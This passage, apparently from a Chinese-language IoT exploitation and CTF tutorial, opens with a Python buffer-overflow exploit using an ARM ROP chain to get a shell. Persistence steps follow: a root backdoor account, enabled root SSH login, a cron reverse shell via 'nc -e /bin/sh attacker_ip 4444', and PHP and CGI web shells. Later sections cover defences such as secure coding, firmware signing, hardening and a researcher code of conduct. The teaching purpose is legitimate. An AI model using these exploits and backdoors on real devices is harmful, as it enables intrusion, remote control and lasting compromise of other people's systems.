system_offset = 0x0003a940  # 示例偏移量
binsh_offset = 0x0011f3bf   # 示例偏移量
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

# 步骤2：利用缓冲区溢出执行任意代码
print("\n[+] Step 2: Exploiting buffer overflow vulnerability")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))

# 构建ROP链（假设目标是ARM架构）
pop_r0 = 0x0001050c      # pop {r0}; bx lr (示例地址)
pop_r7_ret = 0x00010510  # pop {r7}; bx lr (示例地址)
svc_0 = 0x00010514       # svc #0; bx lr (示例地址)

# 缓冲区溢出payload
buffer_size = 512  # 示例缓冲区大小
payload = "A" * buffer_size
payload += p32(pop_r0)       # 弹出r0寄存器的值
payload += p32(binsh_addr)   # 设置r0为/bin/sh字符串地址
payload += p32(pop_r7_ret)   # 弹出r7寄存器的值
payload += p32(0xb)          # 设置r7为execve系统调用号(11)
payload += p32(svc_0)        # 触发系统调用

# 发送溢出payload
exploit_payload = "POST /upload HTTP/1.1\r\n"
exploit_payload += "Host: " + target + "\r\n"
exploit_payload += "Content-Length: " + str(len(payload)) + "\r\n"
exploit_payload += "\r\n"
exploit_payload += payload
sock.send(exploit_payload.encode())

# 步骤3：获取shell
print("\n[+] Step 3: Getting shell")
print("[*] Interactive shell started. Type commands below.")
print("[*] Type 'exit' to quit.")

# 尝试接收shell提示符
shell_ready = False
while not shell_ready:
    try:
        response = sock.recv(1024)
        if response:
            print(response.decode('utf-8', errors='ignore'))
            if b"#" in response or b"$" in response:
                shell_ready = True
    except:
        pass

# 交互式shell
while True:
    try:
        cmd = input("\n# ")
        if cmd.lower() == "exit":
            break
        sock.send((cmd + "\n").encode())
        response = sock.recv(4096)
        print(response.decode('utf-8', errors='ignore'))
    except Exception as e:
        print(f"Error: {str(e)}")
        break

sock.close()
print("\n[*] Exploit completed")

# 在设备上执行以下命令（通过shell）

# 1. 添加后门用户到/etc/passwd
cat >> /etc/passwd << EOF
backdoor:x:0:0:Backdoor User:/root:/bin/sh
EOF

# 2. 设置后门密码（简单示例，实际应使用更好的哈希）
cat >> /etc/shadow << EOF
backdoor:U6aMy0wojraho:14685:0:99999:7:::
EOF

# 3. 修改SSH配置，允许root登录（如果需要）
sed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_config
/etc/init.d/sshd restart

# 4. 添加计划任务，定期连接回攻击者服务器
cat > /etc/cron.d/backdoor << EOF
* * * * * root nc -e /bin/sh attacker_ip 4444 || true
EOF
chmod 644 /etc/cron.d/backdoor

# 在设备的Web目录中添加后门脚本

# 1. 添加PHP后门（如果设备支持PHP）
cat > /www/cmd.php << 'EOF'
<?php
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    echo "<pre>";
    system($cmd);
    echo "</pre>";
}
?>
EOF

# 2. 添加CGI后门
cat > /www/cgi-bin/backdoor.cgi << 'EOF'
#!/bin/sh
echo "Content-type: text/plain"
echo ""
if [ ! -z "$QUERY_STRING" ]; then
    /bin/sh -c "$QUERY_STRING"
fi
EOF
chmod +x /www/cgi-bin/backdoor.cgi

# 3. 修改Web服务器配置，允许访问后门脚本（如果需要）
cat >> /etc/httpd.conf << EOF
<Location /cmd.php>
    Allow from all
</Location>
<Location /cgi-bin/backdoor.cgi>
    Allow from all
</Location>
EOF
/etc/init.d/httpd restart

规划阶段 → 设计阶段 → 实施阶段 → 测试阶段 → 部署阶段 → 维护阶段
    ↓          ↓          ↓          ↓          ↓          ↓
需求分析 威胁建模   代码安全   安全测试   安全部署   漏洞管理
    ↓          ↓          ↓          ↓          ↓          ↓
风险评估 安全设计   安全审查   渗透测试   配置加固   安全更新

// 1. 使用安全的字符串处理函数
#include <string.h>
#include <stdlib.h>

// 不安全的做法
void unsafe_function(char *input) {
    char buffer[100];
    strcpy(buffer, input);  // 危险：无边界检查
}

// 安全的做法
void safe_function(char *input) {
    char buffer[100];
    strncpy(buffer, input, sizeof(buffer) - 1);  // 有边界检查
    buffer[sizeof(buffer) - 1] = '\0';  // 确保字符串终止
}

// 2. 使用现代编程语言
// 在C++中使用std::string
// 在Python中使用内置字符串类型
// 在Rust中利用所有权系统

// 3. 启用编译器保护
// gcc -fstack-protector-all -Wformat -Wformat-security -Werror=format-security -pie -fPIE -D_FORTIFY_SOURCE=2

// 1. 使用TLS/SSL保护网络通信
#include <openssl/ssl.h>
#include <openssl/err.h>

void setup_secure_connection() {
    // 初始化OpenSSL
    SSL_library_init();
    OpenSSL_add_all_algorithms();
    SSL_load_error_strings();
    
    // 创建SSL上下文
    const SSL_METHOD *method = TLSv1_2_client_method();
    SSL_CTX *ctx = SSL_CTX_new(method);
    
    // 验证服务器证书
    SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL);
    SSL_CTX_load_verify_locations(ctx, "ca-cert.pem", NULL);
    
    // 创建SSL连接并设置证书
    SSL *ssl = SSL_new(ctx);
    
    // 使用ssl进行安全通信...
    
    // 清理资源
    SSL_free(ssl);
    SSL_CTX_free(ctx);
}

// 2. 安全的蓝牙通信（BLE）
// 使用LE Secure Connections
// 实施加密和认证

# 1. 固件签名流程
openssl genrsa -out private.key 2048
openssl rsa -in private.key -pubout -out public.key

# 计算固件哈希值
sha256sum firmware.bin > firmware.sha256

# 使用私钥签名哈希值
openssl dgst -sha256 -sign private.key -out firmware.sig firmware.sha256

# 固件包组成：firmware.bin + firmware.sha256 + firmware.sig + public.key

# 2. 设备端验证流程
# 验证固件签名
# 比较计算的哈希值与签名哈希值
# 验证通过后才更新固件

// 1. 安全的密码存储
#include <openssl/evp.h>
#include <openssl/rand.h>

#define SALT_SIZE 16
#define HASH_SIZE 32

// 使用PBKDF2生成密码哈希
void hash_password(const char *password, unsigned char *hash, unsigned char *salt) {
    // 如果没有提供盐值，生成随机盐
    if (salt == NULL) {
        RAND_bytes(salt, SALT_SIZE);
    }
    
    // 使用PBKDF2，10000次迭代
    PKCS5_PBKDF2_HMAC_SHA1(password, strlen(password), salt, SALT_SIZE, 10000, HASH_SIZE, hash);
}

// 验证密码
int verify_password(const char *password, const unsigned char *hash, const unsigned char *salt) {
    unsigned char computed_hash[HASH_SIZE];
    hash_password(password, computed_hash, (unsigned char *)salt);
    return CRYPTO_memcmp(computed_hash, hash, HASH_SIZE) == 0;
}

// 2. 多因素认证实施
// 结合密码、生物识别和一次性密码

互联网 → 防火墙 → DMZ区域 → 内部网络 → IoT设备网络
    ↓          ↓          ↓          ↓          ↓
边界防护  流量过滤  服务器隔离  分段保护  专用VLAN

发现 → 评估 → 修复 → 验证 → 发布 → 监控
    ↓      ↓      ↓      ↓      ↓      ↓
扫描  风险分析  开发补丁  测试验证  推送更新  效果评估

# 集中式日志收集配置（使用rsyslog）

# 设备端配置 /etc/rsyslog.conf
*.* @@logserver.example.com:514

# 日志服务器配置
# 1. 安装ELK Stack或Graylog
# 2. 配置日志解析和存储
# 3. 设置告警规则

# 关键日志监控
# 1. 认证事件
# 2. 配置更改
# 3. 固件更新
# 4. 网络连接
# 5. 错误和异常

# 固件更新客户端示例
#!/usr/bin/env python
import requests
import hashlib
import os
import subprocess

def check_for_updates(device_id, current_version):
    # 检查更新服务器
    try:
        response = requests.get(
            "https://update.example.com/check",
            params={"device_id": device_id, "version": current_version},
            verify=True  # 验证TLS证书
        )
        
        if response.status_code == 200:
            update_info = response.json()
            if update_info["update_available"]:
                return update_info
    except Exception as e:
        print(f"Error checking for updates: {str(e)}")
    
    return None

def download_firmware(update_url, temp_dir):
    # 下载固件包
    try:
        firmware_path = os.path.join(temp_dir, "firmware_update.bin")
        signature_path = os.path.join(temp_dir, "firmware.sig")
        
        # 下载固件
        response = requests.get(update_url + "/firmware.bin", stream=True, verify=True)
        with open(firmware_path, 'wb') as f:
            for chunk in response.iter_content(chunk_size=8192):
                f.write(chunk)
        
        # 下载签名
        response = requests.get(update_url + "/firmware.sig", verify=True)
        with open(signature_path, 'wb') as f:
            f.write(response.content)
        
        return firmware_path, signature_path
    except Exception as e:
        print(f"Error downloading firmware: {str(e)}")
        return None, None

def verify_firmware(firmware_path, signature_path, public_key_path):
    # 验证固件签名
    try:
        # 计算固件哈希值
        sha256_hash = hashlib.sha256()
        with open(firmware_path, "rb") as f:
            for byte_block in iter(lambda: f.read(4096), b""):
                sha256_hash.update(byte_block)
        
        # 使用OpenSSL验证签名
        result = subprocess.run([
            "openssl", "dgst", "-sha256", "-verify", public_key_path,
            "-signature", signature_path, firmware_path
        ], capture_output=True, text=True)
        
        return result.returncode == 0
    except Exception as e:
        print(f"Error verifying firmware: {str(e)}")
        return False

def install_firmware(firmware_path):
    # 安装固件
    try:
        # 调用设备特定的固件更新命令
        result = subprocess.run(["/usr/sbin/update_firmware", firmware_path], 
                              capture_output=True, text=True)
        
        return result.returncode == 0
    except Exception as e:
        print(f"Error installing firmware: {str(e)}")
        return False

def main():
    device_id = "DEVICE-12345"
    current_version = "1.0.0"
    temp_dir = "/tmp/firmware_update"
    public_key_path = "/etc/firmware/public.key"
    
    # 创建临时目录
    os.makedirs(temp_dir, exist_ok=True)
    
    # 检查更新
    update_info = check_for_updates(device_id, current_version)
    if not update_info:
        print("No updates available")
        return
    
    # 下载固件
    firmware_path, signature_path = download_firmware(update_info["update_url"], temp_dir)
    if not firmware_path or not signature_path:
        print("Failed to download firmware")
        return
    
    # 验证固件
    if not verify_firmware(firmware_path, signature_path, public_key_path):
        print("Firmware verification failed")
        return
    
    # 安装固件
    if install_firmware(firmware_path):
        print("Firmware update successful")
    else:
        print("Firmware update failed")
    
    # 清理临时文件
    os.remove(firmware_path)
    os.remove(signature_path)

if __name__ == "__main__":
    main()

# 1. 禁用默认账户和弱密码
# 确保删除或重命名默认账户
# 强制用户首次登录时更改密码

# 2. 关闭不必要的服务和端口
# 检查开放端口
netstat -tuln

# 禁用不必要的服务
systemctl stop telnet.service
systemctl disable telnet.service

# 3. 配置防火墙规则
iptables -F
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 仅允许必要的入站连接
iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT

# 4. 启用日志记录
# 配置系统日志
cat > /etc/rsyslog.d/security.conf << EOF
# 记录认证日志
auth,authpriv.* /var/log/auth.log
# 记录防火墙日志
kern.* /var/log/firewall.log
EOF

# 5. 禁用不必要的功能
# 禁用USB存储
echo "blacklist usb-storage" > /etc/modprobe.d/blacklist-usb.conf

# 6. 启用自动更新
# 配置自动安全更新

# 1. SSH安全配置 (/etc/ssh/sshd_config)
Port 2222  # 更改默认端口
Protocol 2  # 仅使用SSH协议2
PermitRootLogin no  # 禁止root直接登录
PubkeyAuthentication yes  # 启用公钥认证
PasswordAuthentication no  # 禁用密码认证
AllowUsers admin@192.168.1.*  # 限制允许的用户和来源IP

# 2. 使用VPN进行远程管理
# 配置OpenVPN服务器
# 仅允许通过VPN访问管理界面

# 3. 实现双因素认证
# 配置Google Authenticator或类似工具

# 4. 限制管理界面访问
# 配置Web服务器访问控制

设备层 → 网关层 → 网络层 → 云平台层 → 应用层
  ↓        ↓        ↓          ↓          ↓
设备身份 边缘安全 传输加密 数据安全 访问控制
  ↓        ↓        ↓          ↓          ↓
硬件安全 实时监控 流量过滤 存储加密 权限管理
  ↓        ↓        ↓          ↓          ↓
安全启动 威胁检测 入侵防御 隐私保护 安全审计

IoT设备Pwn基础知识体系：
├── 设备分类与特性
│   ├── 消费级设备
│   ├── 工业级设备
│   └── 资源受限特性
├── 设备架构
│   ├── 硬件层（处理器、内存、存储）
│   ├── 系统软件层（操作系统、驱动）
│   └── 应用层（固件、服务、API）
└── 攻击面分析
    ├── 网络接口
    ├── 物理接口
    ├── 固件
    └── 供应链

IoT设备安全防御体系：
├── 开发阶段
│   ├── 安全开发生命周期
│   ├── 内存安全与缓冲区保护
│   └── 安全通信与加密
├── 部署阶段
│   ├── 固件安全与更新机制
│   ├── 访问控制与认证
│   └── 网络隔离与边界保护
└── 维护阶段
    ├── 漏洞管理与响应
    ├── 安全监控与审计
    └── 固件更新与补丁管理

CTF挑战环境准备：
├── 硬件工具
│   ├── USB转TTL/RS232适配器
│   ├── JTAG/SWD调试器
│   └── 逻辑分析仪（可选）
├── 软件环境
│   ├── Linux虚拟机（推荐Kali或Ubuntu）
│   ├── 固件分析工具集
│   ├── 调试工具（gdb-multiarch、IDA Pro/Ghidra）
│   └── 网络分析工具
└── 参考资料
    ├── 常见漏洞利用技术文档
    ├── 处理器架构参考手册
    └── 协议规范文档

安全研究人员行为准则：
1. 仅在有明确授权的情况下进行安全测试
2. 保护用户隐私和数据安全
3. 避免破坏性测试和拒绝服务攻击
4. 向厂商负责任地披露发现的漏洞
5. 不利用漏洞获取不当利益
6. 尊重法律和道德边界
7. 持续学习并提升技能
8. 为安全社区做出积极贡献